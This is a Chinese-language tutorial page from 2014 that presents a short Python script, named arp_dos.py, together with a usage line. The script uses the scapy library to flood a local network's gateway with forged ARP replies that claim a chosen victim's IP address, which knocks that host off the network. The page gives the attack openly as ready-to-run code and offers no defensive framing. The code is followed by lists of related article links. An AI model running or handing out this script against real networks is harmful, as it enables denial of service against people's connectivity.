python写的ARP攻击代码实例


Posted in Python onJune 04, 2014

注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

#coding:utf-8
#example :sudo  python arp_dos.py  192.168.1.103
from scapy.all import ARP,send
import os,re,sys
def get_gateway_ip():
    t=os.popen('route -n')
    for i in t:
        if i.startswith('0.0.0.0'):
            r=re.split("\s+",i)
            return r[1]
def get_gateway_hw(ip):
    t=os.popen('arp -e %s' % ip)
    for i in t:
        if i.startswith(ip):
            r=re.split("\s+",i)
            return r[2]
def hack(hackip):
    ip=get_gateway_ip()
    hw=get_gateway_hw(ip)
    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
    #os.popen('ifconfig eth0 %s' % hackip )
    while 1:
        send(arp)
def help():
    print ("USEAGE: sudo python arp_dos.py 192.168.1.100")
def main():
    if len(sys.argv) != 2:
        help()
    else:
        hack(sys.argv[1])
if __name__=="__main__":
    main()
Python 相关文章推荐
Python之父谈Python的未来形式
Jul 01 Python
Python爬取网易云音乐上评论火爆的歌曲
Jan 19 Python
python 3.5下xadmin的使用及修复源码bug
May 10 Python
浅谈用VSCode写python的正确姿势
Dec 16 Python
浅谈Matplotlib简介和pyplot的简单使用——文本标注和箭头
Jan 09 Python
python3 发送任意文件邮件的实例
Jan 23 Python
Python实现的基于优先等级分配糖果问题算法示例
Apr 25 Python
Python中logging实例讲解
Jan 17 Python
详解python播放音频的三种方法
Sep 23 Python
Django模板标签中url使用详解(url跳转到指定页面)
Mar 19 Python
Python ORM框架Peewee用法详解
Apr 29 Python
通过Python pyecharts输出保存图片代码实例
Nov 25 Python
python和C语言混合编程实例
Jun 04 #Python
python实现的一个p2p文件传输实例
Jun 04 #Python
python实现文件分组复制到不同目录的例子
Jun 04 #Python
python实现的udp协议Server和Client代码实例
Jun 04 #Python
Python实现同时兼容老版和新版Socket协议的一个简单WebSocket服务器
Jun 04 #Python
Python程序员鲜为人知但你应该知道的17个问题
Jun 04 #Python
Python和Ruby中each循环引用变量问题(一个隐秘BUG?)
Jun 04 #Python
You might like
星际实力自我测试
2020/03/04 星际争霸
PHP函数getenv简介和使用实例
2014/05/12 PHP
PHP实现获取图片颜色值的方法
2014/07/11 PHP
php多重接口的实现方法
2015/06/20 PHP
PHP中static关键字以及与self关键字的区别
2015/07/01 PHP
使用laravel和ajax实现整个页面无刷新的操作方法
2019/10/03 PHP
在IE下:float属性会影响offsetTop的取值
2006/12/22 Javascript
js arguments.callee的应用代码
2009/05/07 Javascript
论坛里点击别人帖子下面的回复,回复标题变成“回复 24# 的帖子”
2009/06/14 Javascript
在UpdatePanel内jquery easyui效果失效的解决方法
2010/04/11 Javascript
关于jQuery中的end()使用方法
2011/07/10 Javascript
js图片轮播效果实现代码
2020/04/18 Javascript
js下将金额数字每三位一逗号分隔
2016/02/19 Javascript
prototype.js常用函数详解
2016/06/18 Javascript
JavaScript类型系统之布尔Boolean类型详解
2016/06/26 Javascript
JavaScript实现多栏目切换效果
2016/12/12 Javascript
node.js中debug模块的简单介绍与使用
2017/04/25 Javascript
vue、react等单页面项目应该这样子部署到服务器
2018/01/03 Javascript
微信小程序中遇到的iOS兼容性问题小结
2018/11/14 Javascript
node.js通过url读取文件
2020/10/16 Javascript
tensorflow实现简单的卷积网络
2018/05/24 Python
关于python2 csv写入空白行的问题
2018/06/22 Python
Python 实现异步调用函数的示例讲解
2018/10/14 Python
Python编程flask使用页面模版的方法
2018/12/28 Python
python实现H2O中的随机森林算法介绍及其项目实战
2019/08/29 Python
基于Python实现视频的人脸融合功能
2020/06/12 Python
python3从网络摄像机解析mjpeg http流的示例
2020/11/13 Python
css3给背景图片加颜色遮罩的方法
2019/11/05 HTML / CSS
毕业生精彩的自我评价分享
2013/10/06 职场文书
公司财务工作总结的自我评价
2013/11/23 职场文书
2014年远程教育工作总结
2014/12/09 职场文书
2015年财务部年度工作总结
2015/05/19 职场文书
大学军训通讯稿
2015/07/18 职场文书
2016年优秀共青团员事迹材料
2016/02/25 职场文书
Spring实现内置监听器
2021/07/09 Java/Android
Java练习之潜艇小游戏的实现
2022/03/16 Java/Android